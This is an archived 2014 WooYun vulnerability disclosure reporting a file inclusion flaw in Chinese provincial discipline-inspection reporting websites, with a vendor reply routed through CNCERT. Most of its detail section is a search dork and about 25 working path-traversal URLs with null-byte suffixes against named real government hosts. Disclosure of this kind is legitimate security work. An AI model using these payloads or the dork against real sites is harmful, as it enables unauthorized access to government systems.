[公开漏洞]某纪委监察系统通用型文件包含(涉及全国大部分省)

某纪委监察系统通用型文件包含(涉及全国大部分省) 相关厂商： Cncert国家互联网应急中心 漏洞作者：U神 提交时间：2014-02-26 02:42 公开时间：2014-05-27 02:42 漏洞类型：文件包含 危害等级：高 自评Rank：18 漏洞状态： 已交由第三方厂商(cncert国家互联网应急中心)处理 漏洞来源：http://www.wooyun.org Tags标签： 无 漏洞详情 披露状态：

2014-02-26：细节已通知厂商并且等待厂商处理中
2014-03-03：厂商已经确认，细节仅向厂商公开
2014-03-06：细节向第三方安全合作伙伴开放
2014-03-13：细节向核心白帽子及相关领域专家公开
2014-03-23：细节向普通白帽子公开
2014-04-12：细节向实习白帽子公开
2014-05-27：细节向公众公开

简要描述：

详细说明：

Google:site:gov.cn inurl:law_artile.jsp



http://yunnan.12388.gov.cn/jubao/site/law_artile.jsp?id=../../scripts/site.js?%00.jpg    云南省 

http://shanxi.12388.gov.cn/jubao/site/law_artile.jsp?id=../../scripts/site.js?%00.jpg    山西省 

http://jiangxi.12388.gov.cn/site/law_artile.jsp?id=../../scripts/site.js?%00.jpg         江西省

http://hebei.12388.gov.cn/site/law_artile.jsp?id=../../scripts/site.js?%00.jpg           河北省

http://shanghai.12388.gov.cn/site/law_artile.jsp?id=../../scripts/site.js?%00.jpg        上海市

http://sichuan.12388.gov.cn/jubao/site/law_artile.jsp?id=../../scripts/site.js?%00.jpg   四川省 

http://neimeng.12388.gov.cn/jubao/site/law_artile.jsp?id=../../scripts/site.js?%00.jpg   内蒙古

http://www.jubao.gd.gov.cn/site/law_artile.jsp?id=../../scripts/site.js?%00.jpg          广东省

http://henan.12388.gov.cn/site/law_artile.jsp?id=../../scripts/site.js?%00.jpg           河南省

http://anhui.12388.gov.cn/jubao/site/law_artile.jsp?id=../../scripts/site.js?%00.jpg     安徽省

http://heilongjiang.12388.gov.cn/site/law_artile.jsp?id=../../scripts/site.js?%00.jpg    黑龙江

http://tianjin.12388.gov.cn/jubao/site/law_artile.jsp?id=../../scripts/site.js?%00.jpg   天津市

http://hubei.12388.gov.cn/jubao/site/law_artile.jsp?id=../../scripts/site.js?%00.jpg     湖北省

http://fujian.12388.gov.cn/site/law_artile.jsp?id=../../scripts/site.js?%00.jpg          福建省

http://chongqing.12388.gov.cn/jubao/site/law_artile.jsp?id=../../scripts/site.js?%00.jpg 重庆市

http://shanxi.lvliang.12388.gov.cn/site/law_artile.jsp?id=../../scripts/site.js?%00.jpg  山西省吕梁市

http://shanxi.yangquan.12388.gov.cn/site/law_artile.jsp?id=../../scripts/site.js?%00.jpg 山西省阳泉市

http://shanxi.jincheng.12388.gov.cn/site/law_artile.jsp?id=../../scripts/site.js?%00.jpg 山西省晋城市

http://shanxi.datong.12388.gov.cn/site/law_artile.jsp?id=../../scripts/site.js?%00.jpg   山西省大同市

http://shanxi.jinzhong.12388.gov.cn/site/law_artile.jsp?id=../../scripts/site.js?%00.jpg 山西省晋中市

http://guangxi.12388.gov.cn/site/law_artile.jsp?id=../../scripts/site.js?%00.jpg         广西壮族自治区

http://hunan.12388.gov.cn/jubao/site/law_artile.jsp?id=../../scripts/site.js?%00.jpg     湖南省

http://xizang.12388.gov.cn/jubao/site/law_artile.jsp?id=../../scripts/site.js?%00.jpg    西藏自治区

http://haerbin.12388.gov.cn/site/law_artile.jsp?id=../../scripts/site.js?%00.jpg         哈尔滨市

http://xinjiang.12388.gov.cn/site/law_artile.jsp?id=../../scripts/site.js?%00.jpg        新疆省

漏洞证明：

Example：



Admin：http://***.gov.cn/**/console/



http://yunnan.12388.gov.cn/jubao/site/law_artile.jsp?id=../../scripts/site.js?%00.jpg







http://yunnan.12388.gov.cn/jubao/site/law_artile.jsp?id=../../styles/default.css?%00.jpg

修复方案：

版权声明：转载请注明来源 U神@乌云 漏洞回应 厂商回应：

危害等级：高

漏洞Rank：20

确认时间：2014-03-03 08:59

厂商回复：

CNVD在多个省份实例上确认所述情况，已经转由CNCERT直接通报给监察部信息中心处置。

最新状态：

暂无